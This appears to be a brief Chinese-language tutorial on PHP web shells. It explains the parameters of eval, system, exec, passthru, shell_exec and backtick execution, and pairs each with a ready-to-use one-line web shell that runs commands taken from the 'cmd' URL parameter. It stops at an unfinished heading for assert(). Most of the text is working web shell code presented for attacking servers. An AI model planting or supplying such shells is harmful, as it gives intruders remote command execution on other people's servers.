WebShell

1）eval()
将括号中的字符串变成代码执行，无返回值。

<?php
eval($_GET['cmd']);
?>

2）System(string command [, int return_var])
第一个参数为给定执行的命令；
第二个为可选参数，为命令执行后的状态码，0代表成功，1代表失败；
有返回值。

<?php
System($_GET['cmd'],$code);
echo "<br>";
echo $code;
?>

3）exec(string command [, string array [, int return_var]])
与system()类似，但不输出结果，而是返回结果的最后一行；
第一个参数为给定执行的命令；
第二个参数为可选参数，代表完整的返回结果，功能为把结果逐行追加到array的结尾处；
第三个参数为执行命令的状态码，0代表成功，1代表失败。

<?php
echo exec($_GET['cmd'],$array,$code);
echo "<br>";
print_r($array); //打印变量
echo "<br>";
echo "状态码： ".$code;
?>

4）passthru(string command [, int return_var])
该函数只调用命令，不返回任何结果，但会将结果原样直接输出到设备上；
第一个参数为给定执行的命令；
第二个参数为命令执行的状态码。

<?php
passthru($_GET['cmd'],$code);
echo "<br>";
echo "状态码为：".$code;
?>

5）shell_exec(String command)

<?php
echo shell_exec($_GET['cmd']);
?>

6）反撇号
与shell_exec功能相同，执行shell命令并返回输出的字符串，可以达到system()一样的效果

<?php
$test = $_GET['cmd'];
echo `$test`;
?>

其实shell_exec就是反撇号的变体，实际上完全等于shell_exec,禁用这个函数就不行。

7）assert()